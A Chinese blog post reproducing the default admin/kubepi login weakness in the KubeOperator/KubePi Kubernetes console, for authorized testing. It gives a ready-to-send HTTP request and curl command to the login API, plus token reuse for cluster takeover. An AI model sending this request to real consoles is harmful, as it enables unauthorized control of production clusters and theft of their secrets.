开源容器平台 KubeOperator 默认口令漏洞复现

Wayyt  3小时前

开源容器平台 KubeOperator 默认口令漏洞复现

0x00 背景概述

KubeOperator 是一个开源的轻量级 Kubernetes 发行版,专注于帮助企业规划、部署和运营生产级别的 K8s 集群,提供集群规划、部署、升级、备份等全生命周期管理能力。其 Web 控制台集成了 KubePi 可视化面板,管理员通过浏览器即可对纳管的 K8s 集群进行多集群管理与资源操作。

2021 年 11 月,该平台存在默认口令问题被公开披露(披露主体未见于公开渠道):控制台出厂内置默认管理员账号 admin,默认口令为 kubepi,且部署完成后不强制修改。远程攻击者在无需任何先验凭据的情况下,直接向登录接口提交这对默认凭据即可登录控制台,进而接管平台所管理的 K8s 集群。该问题综合评分 8,属于高危;公开互联网上可见暴露实例的相关讨论。

0x01 漏洞成因

KubePi 是 KubeOperator 体系内的可视化 K8s 管理面板,其安装初始化脚本默认创建管理员账户 admin,初始口令为 kubepi。问题由三个因素叠加:

其一,出厂凭据为公开的固定值。KubePi 作为开源项目,其默认账号口令随安装文档与大量公开教程广泛传播,任何人都可轻易获得。

其二,登录接口未强制首次修改密码。部署完成后,若管理员未主动修改口令,默认凭据将长期有效。

其三,控制台常被直接暴露在管理网段甚至公网。登录 API /api/v1/sessions 接受 JSON 格式的用户名口令提交,没有验证码与失败锁定机制,单请求即可完成一次凭据验证。

三者叠加后,能触达控制台的远程攻击者只需一个登录请求即可完成接管。会话建立后,接口返回包含用户信息的 JSON 及后续 API 调用所需的会话凭据。

0x02 影响范围

受影响对象为使用默认管理员凭据部署、且未修改口令的 KubeOperator / KubePi 控制台,可通过指纹识别暴露面:Web 页面标题为 KubePi。

登录成功后,攻击者可获得 K8s 多集群管理权限:查看和操作集群节点、工作负载、配置与密钥等资源。由于该平台通常纳管生产级 K8s 集群,一旦被接管,攻击者可进一步部署恶意容器、读取集群内 Secret 凭据、横向渗透至集群内业务系统,影响远超面板本身。

0x03 复现环境

复现环境与工具要求如下:

  • 一套 KubeOperator 部署环境(其 Web 控制台 KubePi 正常开启,管理口令保持出厂默认值),授权测试环境内部署即可;
  • 复现机与控制台端口网络可达,本文示例中目标地址记为 192.0.2.10(RFC 5737 文档专用网段,实际以被测环境为准);
  • 复现工具使用 curl 或任意 HTTP 客户端即可,无需登录凭据。

复现前可先访问控制台首页,确认页面标题为 KubePi,以确认目标指纹。

0x04 复现过程

第一步:向登录接口提交默认凭据。登录接口为 /api/v1/sessions,请求体为 JSON。完整请求包如下:

POST /api/v1/sessions HTTP/1.1
Host: 192.0.2.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/json
Content-Length: 40
Connection: close

{"username":"admin","password":"kubepi"}

对应的 curl 命令为:

curl -i -X POST "http://192.0.2.10/api/v1/sessions" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"kubepi"}'

第二步:判定登录结果。成功条件为:HTTP 响应状态码为 200,且响应体 JSON 中包含 "name": "admin" 的用户对象。两者同时满足即确认默认凭据有效,复现完成。

第三步:会话利用。登录成功的响应体中同时返回会话 token,后续访问管理 API 时将其携带于请求头即可调用集群管理接口。公开资料中对该问题的验证均以该登录请求为判定依据。

整个利用过程为单请求、无认证前置条件,从指纹确认到接管控制台不超过一分钟。需要强调,本步骤应在自有授权环境中验证,对未授权目标实施默认口令登录属于违法行为。

0x05 参考信息

1. KubeOperator 官方文档(系统设置与 admin 账户说明):https://kubeoperator.io/docs/quick_start/system_settings/

2. KubePi 官方网站(产品背景):https://kubepi.org/

3. 第三方技术文章《可视化k8s页面(Kubepi)》(明确记载默认用户名 admin、默认密码 kubepi):https://jishuzhan.net/article/1748632633438375938

4. 第三方博客《使用kubeoperator自带的kubepi进行管理》(KubeOperator 集成 KubePi 管理入口说明):https://www.cnblogs.com/hahaha111122222/p/17454010.html

最新评论

昵称
邮箱
提交评论